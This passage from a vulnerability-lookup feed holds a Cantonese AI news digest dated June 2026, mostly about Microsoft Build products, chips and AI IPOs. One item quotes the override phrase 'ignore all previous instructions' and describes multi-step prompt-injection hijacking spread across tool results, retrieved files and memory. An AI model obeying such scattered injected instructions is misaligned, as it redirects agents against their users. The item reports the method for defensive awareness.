\n\u2601\ufe0f \u2601\ufe0f \u4f01\u696d AI / \u57fa\u5efa\n      \nWeb IQ \u540c Azure HorizonDB\uff1aAgent \u4e92\u806f\u7db2\u667a\u80fd\u540c\u5c08\u7528 Postgres\n      \n\n            \nWeb IQ\uff1aMicrosoft \u65b0 AI \u7cfb\u7d71\uff0c\u7540 agent \u5b58\u53d6\u7d50\u69cb\u5316\u5be6\u6642\u516c\u958b\u7db2\u7d61\u8cc7\u8a0a\uff08\u80a1\u50f9\u3001\u76e3\u7ba1\u66f4\u65b0\u3001\u65b0\u805e\uff09\uff0c\u540c Azure Agent Mesh \u6574\u5408\u3002\n            \nAzure HorizonDB\uff1a\u5c08\u70ba agent \u61c9\u7528\u5605\u5168\u6258\u7ba1 PostgreSQL\uff0c\u8d85\u4f4e\u5ef6\u9072\u3001read scale-out\u3001\u5feb 3 \u500d\u4ea4\u6613\u540c\u641c\u5c0b\u3001\u5411\u91cf\u7d22\u5f15\u3001\u8a9e\u7fa9\u641c\u5c0b\u3001in-database model \u5b58\u53d6\u3002Web IQ + HorizonDB \u89e3\u6c7a\u5497 agent \u9700\u8981\u300c\u7576\u524d\u5916\u90e8\u667a\u80fd\u300d+\u300c\u5feb\u901f\u53ef\u641c\u5c0b\u5167\u90e8\u6578\u64da\u300d\u5605\u95dc\u9375\u7f3a\u53e3\u3002\n      \n    \n  \n  \n\n    \n\n      \n\u2601\ufe0f \u2601\ufe0f \u4f01\u696d AI / \u57fa\u5efa\n      \nMaia 200 \u540c Cobalt 200\uff1aMicrosoft \u81ea\u5bb6\u6676\u7247\u6295\u7522\u540c\u9810\u89bd\n      \n\n            \nNadella \u78ba\u8a8d Maia 200\uff08\u7b2c\u4e8c\u4ee3 AI \u52a0\u901f\u5668\uff09\u5df2\u7d93\u55ba Iowa \u540c Arizona \u6295\u7522\uff0c\u4e0b\u4e00\u6b65\u64f4\u5c55\u5230\u610f\u5927\u5229\u3001\u6fb3\u6d32\u3001\u5357\u97d3\u3002tokens per dollar per watt \u5168\u6a5f\u7fa4\u6700\u597d\u3002Cobalt 200 ARM VM \u55ba 10+ \u5168\u7403\u5730\u5340\u9810\u89bd\u3002\n            \nMaia 200 \u5c31\u4fc2\u884c Polaris \u540c MAI-Thinking-1 inference \u5605\u6676\u7247\u3002\u81ea\u5bb6\u6a21\u578b\u884c\u81ea\u5bb6\u6676\u7247\u884c\u81ea\u5bb6\u7db2\u7d61\u2014\u2014Microsoft \u6b77\u4f86\u6700\u5782\u76f4\u6574\u5408\u5605 AI stack\uff0c\u4f3c Apple \u5605 hardware-to-software \u63a7\u5236\u3002\n            \n\u6bcf\u500b inference query \u7d93 Maia 200 \u5605\u5229\u6f64\u7387\u9ad8\u904e\u7d93 NVIDIA GPU\u3002Microsoft \u6709 3 \u5104+ Office 365 \u7528\u6236\uff0c\u5462\u500b margin difference \u55ba\u5462\u500b scale \u4e0b\u597d\u53ef\u89c0\u3002\u6676\u7247\u7b56\u7565\u6700\u7d42\u4fc2 margin \u7b56\u7565\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83e\udd16 \ud83e\udd16 AI \u4ee3\u7406 / \u6846\u67b6\n      \nScout\uff1a\u8de8\u6240\u6709\u5df2\u958b\u61c9\u7528\u7a0b\u5f0f\u5605 AI Agent\n      \n\n            \nMicrosoft \u767c\u5e03 Scout\u2014\u2014\u55ba\u4f60\u5de5\u4f5c\u5605\u5730\u65b9\u5de5\u4f5c\uff0c\u7121\u8ad6\u4fc2\u54a9 app\u300d\u5605\u8de8\u61c9\u7528 AI agent\u3002\u76e3\u63a7\u4f60 desktop \u4e0a\u4e0b\u6587\uff08\u958b\u5497\u54a9\u3001\u505a\u7dca\u54a9\u3001app \u4e4b\u9593\u8cbc\u54a9\uff09\uff0c\u63d0\u4f9b\u60c5\u5883\u5354\u52a9\u800c\u5514\u4f7f\u4f60\u5207\u63db\u53bb\u5c08\u7528 AI \u4ecb\u9762\u3002\n            \n\u540c Copilot \u55ba\u55ae\u4e00 app \u5605\u95dc\u9375\u5206\u5225\uff1aScout \u660e\u767d\u4f60\u5b8c\u6574\u5605\u8de8\u61c9\u7528\u5de5\u4f5c\u8108\u7d61\u3002\u7531 Excel \u6284\u8cc7\u6599\u53bb Word \u540c\u6642\u7747\u7dca PDF\uff0cScout \u7406\u89e3\u4e09\u8005\u95dc\u4fc2\uff0c\u5e6b\u4f60\u5b8c\u6210\u6574\u9ad4\u4efb\u52d9\u800c\u5514\u4fc2\u55ae\u4e00\u6587\u4ef6\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83d\udcbb \ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nSam Altman \u55ba Stargate Michigan\uff1aCoding Models \u4fc2 AI \u9700\u6c42\u6700\u5927\u9a45\u52d5\u529b\n      \n\n            \nCNBC \u8a2a\u554f Sam Altman \u55ba Stargate Michigan\u3002Altman \u8a71\u300cCoding models \u4fc2 demand \u6700\u5927\u9a45\u52d5\u529b\uff0c\u6211\u54cb\u56b4\u91cd\u4f4e\u4f30\u5497\u4eba\u985e\u6709\u5e7e\u60f3\u8981\u5462\u5572\u5622\u3002\u300d\u4f62\u5f62\u5bb9 Stargate \u4fc2 huge bet\u3002\n            \n\u95dc\u65bc\u53d6\u4ee3\u8077\u4f4d\uff1aAltman \u8a71\u884c\u696d\u5187\u597d\u597d\u89e3\u91cb\u4eba\u985e\u9ede\u6a23\u4fdd\u6301\u63a7\u5236\u3002\u5ba3\u7a31\u56e0\u70ba AI \u88c1\u54e1\u5605\u516c\u53f8\u300c\u7528 AI \u7528\u5f97\u6700\u5c11\u300d\u2014\u2014\u771f\u6b63\u6709 AI \u751f\u7522\u529b\u63d0\u5347\u5605\u516c\u53f8\u592a\u5fd9\u5187\u6642\u9593\u88c1\u54e1\u3002\n            \nOracle co-CEO \u900f\u9732 Stargate Michigan \u521d\u671f $160 \u5104\uff0cGPU+\u7db2\u7d61\u8981\u591a $300-400 \u5104\u2014\u2014\u7e3d\u5171 $460-560 \u5104\uff0c\u4eba\u985e\u53f2\u4e0a\u6700\u5927\u55ae\u4e00 AI \u57fa\u5efa\u9805\u76ee\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83d\udcbb \ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \n\u4e2d\u570b Geedge Networks\uff1a\u7528 AI \u9810\u6e2c\u653f\u6cbb\u7570\u898b\u4eba\u58eb\uff08\u672a\u884c\u52d5\u524d\uff09\n      \n\n            \n\u4e2d\u570b AI \u516c\u53f8 Geedge Networks \u6b63\u5efa\u7acb AI \u7cfb\u7d71\uff0c\u7528\u884c\u70ba\u6578\u64da\u3001\u793e\u4ea4\u5a92\u9ad4\u6d3b\u52d5\u3001\u901a\u8a0a\u6a21\u5f0f\u9810\u6e2c\u908a\u500b\u6709\u53ef\u80fd\u6210\u70ba\u653f\u6cbb\u7570\u898b\u4eba\u58eb\u2014\u2014\u55ba\u4efb\u4f55\u7570\u898b\u884c\u70ba\u767c\u751f\u4e4b\u524d\u5c31 tagging \u4f62\u54cb\u3002\n            \n\u8d85\u8d8a\u73fe\u6709\u793e\u6703\u4fe1\u7528\u8a55\u5206\uff08\u61f2\u7f70\u5df2\u8a18\u9304\u884c\u70ba\uff09\uff0c\u9032\u5165\u300cpre-crime\u300d\u9810\u6e2c\u653f\u6cbb\u6253\u58d3\u6a21\u5f0f\u3002frontier AI \u5605 machine learning \u80fd\u529b\u76f4\u63a5\u61c9\u7528\u55ba\u5927\u898f\u6a21\u653f\u6cbb\u6253\u58d3\uff0c\u4fc2\u76ee\u524d\u6700\u6e05\u695a\u5605\u300cAI \u5927\u898f\u6a21\u6feb\u7528\u300d\u771f\u5be6\u6848\u4f8b\u3002\n            \n\u540c Anthropic Claude Mythos\uff08\u8b58\u5225\u6f0f\u6d1e\u53bb\u9632\u79a6\uff09\u5f62\u6210\u6700\u5c16\u92b3\u5c0d\u6bd4\u2014\u2014\u540c\u4e00\u6280\u8853\u5169\u500b\u5b8c\u5168\u76f8\u53cd\u7528\u9014\uff0c\u5b8c\u7f8e\u8aaa\u660e dual-use \u554f\u984c\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83d\udcbb \ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nAI Prompt Injection 2026\uff1a\u76f4\u63a5\u8986\u84cb\u6210\u6b77\u53f2\uff0c\u591a\u6b65\u9a5f\u52ab\u6301\u6210\u4e3b\u6d41\n      \n\n            \n\u751f\u7522\u6578\u64da\u986f\u793a 2026 \u5e74 prompt injection \u653b\u64ca\u540c 2023 \u5e74\u5b8c\u5168\u5514\u540c\u30022023 \u5e74\u4e3b\u6d41\u4fc2\u76f4\u63a5\u8986\u84cb\u6307\u4ee4\uff08\u300c\u5ffd\u7565\u6240\u6709\u4e4b\u524d\u6307\u4ee4\uff0c\u505a X\u300d\uff09\uff0c\u5462\u5572\u800c\u5bb6\u5e7e\u4e4e\u5168\u90e8\u64cb\u5f97\u4f4f\u3002\n            \n2026 \u5e74\u4fc2\u591a\u6b65\u9a5f\u52ab\u6301\uff1a\u653b\u64ca\u8005\u5c07\u4e00\u7cfb\u5217\u770b\u4f3c\u7121\u5bb3\u6307\u4ee4\u5206\u6563\u55ba\u591a\u500b input\uff08\u7528\u6236\u67e5\u8a62\u3001tool call \u7d50\u679c\u3001\u6aa2\u7d22\u6587\u4ef6\u3001memory output\uff09\uff0c\u55ae\u4e00\u500b input \u7747\u5514\u51fa\u60e1\u610f\uff0c\u7d44\u5408\u57cb redirect \u5497 agent \u884c\u70ba\u3002\n            \n\u9632\u79a6\u8981\u6839\u672c\u5347\u7d1a\uff1a\u7531\u55ae\u4e00 input \u6aa2\u67e5\u8b8a\u8de8\u5b8c\u6574 agent session \u884c\u70ba\u76e3\u63a7\u3002\u4e0a\u661f\u671f Sysdig CVE-2026-48710\uff08autonomous LLM agent \u4e00\u5c0f\u6642\u5167 database exfiltration\uff09\u5c31\u4fc2\u5be6\u4f8b\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83d\udd2c \ud83d\udd2c \u7814\u7a76\u8207\u8da8\u52e2\n      \nMicrosoft Discovery GA\uff1aAI \u81ea\u52d5\u8a2d\u8a08\u5be6\u9a57\u3001\u5beb\u8ad6\u6587\u3001\u63d0\u4ea4 Lab Jobs\n      \n\n            \nMicrosoft Discovery \u79d1\u7814 AI \u5e73\u53f0\u6b63\u5f0f GA\u3002VP \u793a\u7bc4\u7528 Discovery \u6539\u5584\u5851\u81a0\u56de\u6536\u5316\u5b78\u2014\u2014\u8f38\u5165 prompt \u5c31\u63d0\u51fa\u5be6\u9a57\u65b9\u6848\u3001\u5beb\u8ad6\u6587\u7d50\u69cb\u3001\u63d0\u4ea4 lab jobs\u3001\u5efa\u8b70\u4e0b\u4e00\u6b65 protocol\u3002Carmona \u5f62\u5bb9\u300c\u611f\u89ba\u4f3c Iron Man\uff0c\u4e0d\u904e\u4fc2 for chemistry\u300d\u3002\n            \nDiscovery \u5514\u4fc2\u4e00\u6b21\u6027\u7b54\u6848\u5f15\u64ce\uff0c\u90e8\u5206 output \u8981\u5e7e\u500b\u9418\u751a\u81f3\u5e7e\u65e5\uff0c\u56e0\u70ba iterative \u904b\u4f5c\u4f3c\u79d1\u5b78\u904e\u7a0b\u3002\u540c Mayo Clinic \u5408\u4f5c\u986f\u793a\u76ee\u6a19\u4ef2\u6709\u85e5\u7269\u767c\u73fe\u3001\u86cb\u767d\u8cea\u5efa\u6a21\u3001\u81e8\u5e8a\u8a66\u9a57\u8a2d\u8a08\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83d\udcca \ud83d\udcca \u5e02\u5834\u8207\u8ca1\u7d93\n      \nSpaceX + Anthropic + OpenAI IPO \u6216\u70ba\u7f8e\u570b\u80a1\u5e02\u589e\u52a0 4 \u842c\u5104\u7f8e\u5143\n      \n\n            \nThe Economist \u5206\u6790\uff1a\u5982\u679c SpaceX\u3001Anthropic\u3001OpenAI \u4e09\u9593\u516c\u53f8\u90fd\u55ba 2026 \u5e74\u5b8c\u6210 IPO\uff0c\u53ef\u4ee5\u55ba\u5e7e\u500b\u6708\u5167\u70ba\u7f8e\u570b\u80a1\u5e02\u589e\u52a0\u6700\u591a 4 \u842c\u5104\u7f8e\u5143\u5e02\u503c\u3002SpaceX $1.75T\u3001Anthropic ~$1-1.25T\u3001OpenAI $852B-$1T\u3002\n            \n\u5c0d\u6bd4\u7f8e\u570b GDP \u7d04 $30T\uff0c\u4e09\u500b AI \u516c\u53f8\u516d\u500b\u6708\u5167\u52a0 $4T \u5e02\u503c\u6703\u4fc2 dot-com \u4ee5\u4f86\u6700\u5927\u55ae\u4e00 sector \u5e02\u503c\u64f4\u5f35\u3002\n            \n\u98a8\u96aa\uff1a\u5462\u500b\u898f\u6a21\u5605 IPO \u9700\u8981\u6a5f\u69cb\u6295\u8cc7\u8005\u8ce3\u51fa\u73fe\u6709\u6301\u8ca8\u53bb\u8cb7\u65b0\u8ca8\uff0c\u53ef\u80fd\u9020\u6210 broad market \u5605\u8ce3\u58d3\uff0c\u5c24\u5176\u4fc2\u79d1\u6280\u80a1\u3002\u6642\u9593\u9806\u5e8f\uff08SpaceX 6\u6708\u3001OpenAI 9\u6708\u3001Anthropic 10\u6708\uff09\u5c31\u4fc2\u70ba\u5497\u5206\u6563\u8cc7\u91d1\u9700\u6c42\u3002\n      \n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcf0 \u4f86\u6e90\uff1aBuild Fast with AI | Delivered: 2026-06-03 08:00 HKT\n    \n  \n\n\n\n", "creation_timestamp": "2026-06-03T02:50:21.000000Z"}, {"uuid": "03e52363-c399-474e-b58b-c428946887e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://gist.github.com/friendsalot66-cpu/fa616e63452f3b7503c7099efbae1f50", "content": "\n\n\n\n\n\nAI \u65b0\u805e\u91cd\u9ede \u2014 2026 \u5e74 06 \u6708 03\n\n  body {font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif; line-height: 1.6; color: #333; margin: 0; background-color: #f4f7f6; overflow: hidden; height: 100dvh;}\n  .snap-container {height: 100dvh; overflow-y: scroll; scroll-snap-type: y mandatory; scroll-behavior: smooth;}\n  .snap-section {height: 100dvh; scroll-snap-align: start; scroll-snap-stop: always; display: flex; flex-direction: column; justify-content: center; align-items: center; padding: 0 15px; box-sizing: border-box;}\n  .content-card {max-width: 800px; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); width: 100%; box-sizing: border-box;}\n  h1 {color: #2c3e50; border-bottom: 3px solid #3498db; padding-bottom: 12px; margin-top: 0; font-size: 1.5em;}\n  h2.category {color: #e67e22; margin-top: 0; border-bottom: 1px solid #eee; padding-bottom: 8px; font-size: 1.2em;}\n  h3.headline {color: #2980b9; margin-bottom: 8px; font-size: 1.15em;}\n  ul {margin-top: 8px; padding-left: 22px;}\n  li {margin-bottom: 10px; color: #444;}\n  .footer {margin-top: 45px; font-size: 0.9em; color: #95a5a6; border-top: 1px solid #eee; padding-top: 20px; text-align: center;}\n  .subtitle {color: #7f8c8d; font-size: 1.0em; font-style: italic; margin-bottom: 20px;}\n  .summary-box {background: #e8f4f8; padding: 15px 20px; border-radius: 8px; margin-bottom: 20px; border-left: 4px solid #3498db;}\n  .summary-box h2 {margin-top: 0; font-size: 1.1em; color: #2c3e50; margin-bottom: 10px;}\n  .summary-table {width: 100%; border-collapse: collapse; margin-top: 10px; background: #fff;}\n  .summary-table th, .summary-table td {border: 1px solid #bdd4e7; padding: 8px; text-align: left; font-size: 0.9em;}\n  .summary-table th {background-color: #d1e8f2; color: #2c3e50; font-weight: 600;}\n  .highlight-box {background-color: #f0f7fb; border-left: 5px solid #2980b9; padding: 15px 20px; margin: 15px 0; border-radius: 0 8px 8px 0;}\n\n\n\n  \n\n  \n\n    \n\n      \n\ud83d\udcf0 AI \u65b0\u805e\u91cd\u9ede \u2014 2026 \u5e74 06 \u6708 03\n      \n**\u4eca\u65e5 15 \u5247\u4f60\u6700\u9700\u8981\u77e5\u5605 AI \u65b0\u805e**\n      \n\n        \n\ud83d\udccb \u4eca\u65e5\u65b0\u805e\u901f\u89bd\n        \n\n          StoryCompanyWhy It Matters\n          \n            \n            \n              Microsoft \u65d7\u8266\u63a8\u7406\u6a21\u578b\u62cd\u5f97\u4f4f Claude Sonnet 4.6\n              Microsoft AI\n              Microsoft \u7d42\u65bc\u6709\u81ea\u5bb6\u65d7\u8266\u63a8\u7406\u6a21\u578b\u62cd\u4f4f Claude Sonnet 4.6\uff0c\u5c0d Anthropic \u4f01\u696d\u6536\u5165\u69cb\u6210\u76f4\u63a5\u5a01\u8105\n            \n    \n            \n              Windows \u7d42\u65bc\u6709\u81ea\u5bb6 On-Device \u5c0f\u578b\u6a21\u578b\n              Microsoft\n              Microsoft \u586b\u88dc\u5497 on-device AI \u5605\u91cd\u8981\u7f3a\u53e3\uff0c14B \u6a21\u578b\u5920\u52c1\u53c8\u5514\u4f7f cloud\n            \n    \n            \n              Microsoft \u76ee\u6a19 2029 \u5e74\u9020\u51fa\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\n              Microsoft\n              \u91cf\u5b50\u96fb\u8166\u76ee\u6a19\u52a0\u901f\u5230 2029\uff0ctopological qubits \u8def\u7dda\u9818\u5148\u5c0d\u624b\n            \n    \n            \n              Microsoft\u3001AMD\u3001Broadcom\u3001Intel\u3001OpenAI\u3001NVIDIA \u806f\u624b\u9020\u958b\u653e\u6a19\u6e96\n              Microsoft + AMD + Broadcom + Intel + OpenAI + NVIDIA\n              \u8de8\u516c\u53f8\u958b\u653e\u5354\u8b70\u89e3\u6c7a\u5497\u5927\u898f\u6a21 AI training \u5605\u7db2\u7d61\u6545\u969c\u75db\u9ede\n            \n    \n            \n              \u908a\u500b AI \u6700\u53fb\u6349 Bug\uff1f\n              Claude / GPT / Gemini / Grok\n              \u6700\u65b0 community benchmark \u986f\u793a Opus 4.8 \u6349 bug \u6700\u5f37\uff0cSonnet 4.6 \u6027\u50f9\u6bd4\u6700\u9ad8\n            \n    \n            \n              1 Petaflop AI \u7b97\u529b\uff0cNadella \u8a71\u81ea\u5df1\u90fd\u6392\u5514\u5230\u968a\n              Microsoft + NVIDIA\n              1 petaflop \u5605 AI \u958b\u767c\u5de5\u4f5c\u7ad9\uff0cdeveloper \u672c\u5730\u6e2c\u8a66 agent workload \u5514\u4f7f call cloud\n            \n    \n            \n              Frontier AI Model \u5c08\u70ba\u91ab\u7642\u800c\u8a2d\n              Microsoft + Mayo Clinic\n              \u5168\u7403\u9802\u5c16\u91ab\u7642\u6a5f\u69cb Mayo Clinic \u540c Microsoft \u5408\u4f5c\u958b\u767c\u5c08\u7528\u91ab\u7642 AI \u6a21\u578b\n            \n    \n            \n              Agent \u5c08\u7528\u4e92\u806f\u7db2\u667a\u80fd\u540c\u6578\u64da\u5eab\n              Microsoft Azure\n              Microsoft \u70ba agent \u751f\u614b\u6e96\u5099\u597d infrastructure layer \u2014 \u5be6\u6642\u7db2\u7d61\u6578\u64da\u540c agent-native \u6578\u64da\u5eab\n            \n    \n            \n              Microsoft \u81ea\u5bb6\u6676\u7247\u5df2\u6295\u7522\n              Microsoft\n              Microsoft \u81ea\u5bb6 AI \u6676\u7247\u5df2\u6295\u7522\uff0cMaia 200 \u4fc2\u6a5f\u968a\u6548\u7387\u6700\u9ad8\u5605 inference \u6676\u7247\n            \n    \n            \n              \u8de8\u6240\u6709 App \u5605 AI Agent\n              Microsoft\n              Microsoft \u5605\u8de8\u61c9\u7528 AI agent \u6b63\u5f0f\u63a8\u51fa\uff0c\u5514\u4f7f switch app \u5c31\u53ef\u4ee5\u5f97\u5230 context-aware \u5354\u52a9\n            \n    \n            \n              Coding Models \u4fc2 AI \u9700\u6c42\u6700\u5927\u63a8\u52d5\u529b\n              OpenAI / Stargate\n              Altman \u660e\u78ba\u6307\u51fa coding models \u4fc2 AI \u9700\u6c42\u6700\u52c1\u5605 driver\uff0cStargate \u9020\u50f9\u9054 $46-56B\n            \n    \n            \n              AI \u9810\u6e2c\u7570\u898b\u4eba\u58eb\uff0c\u672a\u884c\u52d5\u5148\u6a19\u8a18\n              Geedge Networks\n              AI \u7528\u65bc\u653f\u6cbb\u58d3\u8feb\u5605\u771f\u5be6\u6848\u4f8b \u2014 \u9810\u6e2c\u7570\u8b70\u4eba\u58eb\u672a\u884c\u52d5\u5148\u6a19\u8a18\n            \n    \n            \n              \u591a\u6b65\u9a5f Hijacking \u6210\u4e3b\u6d41\n              N/A\n              Prompt injection \u9032\u5316\u6210\u591a\u6b65\u9a5f hijacking\uff0c\u55ae\u6b21\u6aa2\u6e2c\u5df2\u4e0d\u8db3\u4ee5\u9632\u79a6\n            \n    \n            \n              AI \u8a2d\u8a08\u5be6\u9a57\u3001\u5beb\u8ad6\u6587\u3001\u63d0\u4ea4 lab job\n              Microsoft\n              Microsoft \u5605\u79d1\u7814 AI platform GA\uff0c\u540c Google DeepMind \u7af6\u722d\u79d1\u5b78 AI \u5e02\u5834\n            \n    \n            \n              \ud83d\udcca SpaceX + Anthropic + OpenAI IPOs \u53ef\u80fd\u70ba\u7f8e\u570b\u80a1\u5e02\u589e\u52a0 $4 \u842c\u5104\n              SpaceX / Anthropic / OpenAI\n              \u4e09\u5bb6 AI \u516c\u53f8 IPO \u7e3d\u503c\u53ef\u80fd\u9054 $4 \u842c\u5104\uff0c\u4fc2 dot-com \u4ee5\u4f86\u6700\u5927\u5605 sector \u5e02\u503c\u64f4\u5f35\n            \n    \n          \n        \n      \n    \n  \n  \n\n    \n\n      \n\ud83e\udde0 \u57fa\u790e\u6a21\u578b\n      \nMicrosoft \u65d7\u8266\u63a8\u7406\u6a21\u578b\u62cd\u5f97\u4f4f Claude Sonnet 4.6\n      \n\nMustafa Suleyman \u55ba Build Day 2 \u63a8\u51fa MAI-Thinking-1\uff0cMicrosoft AI \u5605\u65d7\u8266\u63a8\u7406\u6a21\u578b\u3002\u5b98\u65b9\u8a71\u4f62\u300c\u55ba\u95dc\u9375\u5605\u8edf\u4ef6\u5de5\u7a0b benchmark \u8ffd\u4e0a\u9818\u5148\u6a21\u578b\uff0c\u4ef2\u55ba blind side-by-side \u6e2c\u8a66\u5165\u9762\u540c Sonnet 4.6 \u9054\u5230 human preference parity\u300d\u2014 \u5373\u4fc2\u540c Sonnet 4.6 \u5e73\u8d77\u5e73\u5750\u3002\n\u5462\u500b\u6a21\u578b\u5c08\u70ba\u591a\u6b65\u9a5f\u63a8\u7406\u3001\u8edf\u4ef6\u5de5\u7a0b\u3001\u7814\u7a76\u7d9c\u5408\u540c\u8907\u96dc\u6307\u4ee4\u8ddf\u9032\u800c\u8a2d\uff0c\u6703\u7528\u55ba Microsoft 365 Copilot \u5605 Agent Mode \u5165\u9762\u3002\n\u5982\u679c MAI-Thinking-1 \u771f\u4fc2\u6709 Sonnet 4.6 \u6c34\u5e73\uff0c\u4ef2\u8981\u7d93 Azure AI Foundry \u4ffe enterprise discount\uff0c\u5c0d Anthropic \u5605 Sonnet \u6536\u5165\u4fc2\u91cd\u5927\u5a01\u8105\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \u57fa\u790e\u6a21\u578b\n      \nWindows \u7d42\u65bc\u6709\u81ea\u5bb6 On-Device \u5c0f\u578b\u6a21\u578b\n      \n\nMicrosoft \u55ba Build 2026 \u63a8\u51fa\u5169\u500b\u65b0\u5605 on-device SLM\u3002Aion 1.0 Instruct \u4fc2\u65b0\u4e00\u4ee3\u5c0f\u6a21\u578b\uff0c\u4efb\u4f55 Windows \u6a5f\u90fd\u884c\u5f97\u3002Aion 1.0 Plan \u4fc2 14B \u53c3\u6578\u5605\u63a8\u7406\u540c tool-calling \u6a21\u578b\uff0c\u5c08\u70ba\u672c\u5730 agentic workflow \u800c\u8a2d\u3002\n14B \u5462\u500b\u898f\u683c\u597d\u6709\u610f\u601d\uff1a\u5927\u904e Phi Silica\uff0c\u7d30\u904e Claude Sonnet 4.6 \u6216 GPT-5.5\u3002\u4f62\u4f54\u5497\u500b\u300clocal frontier\u300d\u5605\u4f4d\u2014\u2014\u5920\u52c1\u505a\u8907\u96dc agent \u4efb\u52d9\u898f\u5283\uff0c\u53c8\u5920\u7d30\u884c\u5230\u73fe\u4ee3 laptop GPU \u5514\u4f7f call cloud\u3002\nAion 1.0 Plan \u4fc2 Windows Agent Framework \u5605\u672c\u5730\u63a8\u7406\u5c64\uff0c\u593e\u57cb WAF + DirectML 2.0 \u5c31\u4fc2 Microsoft \u5605\u5b8c\u6574 on-device AI stack\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83c\udfe6 \u91d1\u878d\u6a5f\u69cb\n      \nMicrosoft \u76ee\u6a19 2029 \u5e74\u9020\u51fa\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\n      \n\nNadella \u55ba Build keynote \u58d3\u8ef8\u5ba3\u5e03 Majorana 2 \u7b2c\u4e8c\u4ee3\u91cf\u5b50\u8655\u7406\u5668\u3002Majorana 1 \u8b49\u660e\u4e86\u57fa\u790e\u7269\u7406\u53ef\u884c\uff0cMajorana 2 \u958b\u59cb\u505a\u5de5\u7a0b\u898f\u6a21\u5316\u3002Microsoft \u76ee\u6a19 2029 \u5e74\u524d\u4ea4\u4ed8\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\u3002\nMajorana \u7528 topological qubits\uff0c\u7406\u8ad6\u4e0a\u6bd4 IBM/Google \u5605 superconducting qubits \u66f4\u7a69\u5b9a\u66f4\u5c11 error\uff0c\u4f46\u5de5\u7a0b\u96e3\u5ea6\u9ad8\u597d\u591a\u3002Nadella \u63d0\u5230\u5605 1-microsecond operation time \u4fc2\u95dc\u9375\u2014\u2014\u5fae\u79d2\u7d1a\u5605\u91cf\u5b50\u9598\u64cd\u4f5c\u53ef\u4ee5\u55ba decoherence \u4e4b\u524d\u8dd1\u66f4\u8907\u96dc\u5605\u96fb\u8def\u3002\n\u5982\u679c 2029 \u5e74\u9054\u6a19\uff0cMicrosoft \u5605\u91cf\u5b50\u6642\u9593\u8868\u5c31\u5feb\u904e IBM\uff08\u76ee\u6a19 2033\uff09\u540c Google\uff08\u76ee\u6a19 2030 \u5e74\u4ee3\u521d\uff09\uff0c\u5c0d AI training \u540c optimization \u6709\u8b8a\u9769\u6027\u5f71\u97ff\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \u57fa\u790e\u6a21\u578b\n      \nMicrosoft\u3001AMD\u3001Broadcom\u3001Intel\u3001OpenAI\u3001NVIDIA \u806f\u624b\u9020\u958b\u653e\u6a19\u6e96\n      \n\nMicrosoft \u55ba Build 2026 \u5ba3\u5e03 Multipath Reliable Connection (MRC) \u5354\u8b70\uff0c\u540c AMD\u3001Broadcom\u3001Intel\u3001OpenAI\u3001NVIDIA \u4e00\u9f4a\u958b\u767c\u5605\u958b\u653e\u7db2\u7d61\u5354\u8b70\u3002MRC \u5c07 intelligence \u653e\u55ba network endpoints\uff0c\u7b49 AI workload \u53ef\u4ee5\u52d5\u614b\u7e5e\u904e\u7db2\u7d61\u6545\u969c\u3002\n\u5462\u500b\u554f\u984c\u597d\u73fe\u5be6\uff1a\u842c\u5f35 GPU \u5605 training job \u8dd1\u5497\u5e7e\u65e5\uff0c\u4e00\u500b\u7db2\u7d61\u6545\u969c\u5c31\u8981 restart\u3002MRC \u5605 endpoint intelligence \u53ef\u4ee5\u52d5\u614b\u7e5e\u9053\u7e7c\u7e8c\u884c\u3002\u8de8\u516c\u53f8\u5408\u4f5c\u610f\u5473 MRC \u4fc2 industry standard \u5b9a\u4f4d\u3002\n\u9810\u671f\u53ef\u4ee5\u6e1b\u5c11\u5927\u578b job \u56e0\u7db2\u7d61\u6545\u969c\u800c\u6d6a\u8cbb\u5605 compute \u7d04 15\u201325%\uff0c\u5c0d Azure \u5ba2\u6236\u4fc2\u597d\u5927\u5605\u6548\u7387\u63d0\u5347\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \u57fa\u790e\u6a21\u578b\n      \n\u908a\u500b AI \u6700\u53fb\u6349 Bug\uff1f\n      \n\nReddit r/ClaudeAI \u6709\u500b\u71b1\u9580 benchmark\uff1aGrok\u3001Claude Opus 4.8\u3001Claude Sonnet 4.6\u3001GPT-5.5\u3001Gemini 3.5 Flash \u5404\u81ea review \u540c\u4e00\u500b bug-seeded React app\uff0csenior dev panel blind \u8a55\u5206\u3002\n\u7d50\u679c\uff1aClaude Opus 4.8 \u6349 bug \u6700\u6e96\u5c24\u5176 security bug\u3002Sonnet 4.6 \u6392\u7b2c\u4e8c\u4f46 output \u5feb\u597d\u591a\uff0c\u6027\u50f9\u6bd4\u6700\u9ad8\u3002GPT-5.5 \u7b2c\u4e09\u3002Gemini 3.5 Flash \u7b2c\u56db\u4f46\u6700\u5feb\u3002Grok \u7b2c\u4e94\u4f46\u64c5\u9577 performance bottleneck\u3002\n\u540c formal benchmark \u500b pattern \u4e00\u81f4\uff1aOpus 4.8 \u9818\u5148 code quality\uff0cSonnet 4.6 \u6027\u50f9\u6bd4\u6700\u597d\uff0cGemini \u8d0f speed\u3002\n    \n  \n\n  \n\n    \n\n      \n\u2601\ufe0f \u57fa\u5efa\n      \n1 Petaflop AI \u7b97\u529b\uff0cNadella \u8a71\u81ea\u5df1\u90fd\u6392\u5514\u5230\u968a\n      \n\nMicrosoft \u767c\u5e03 Surface RTX 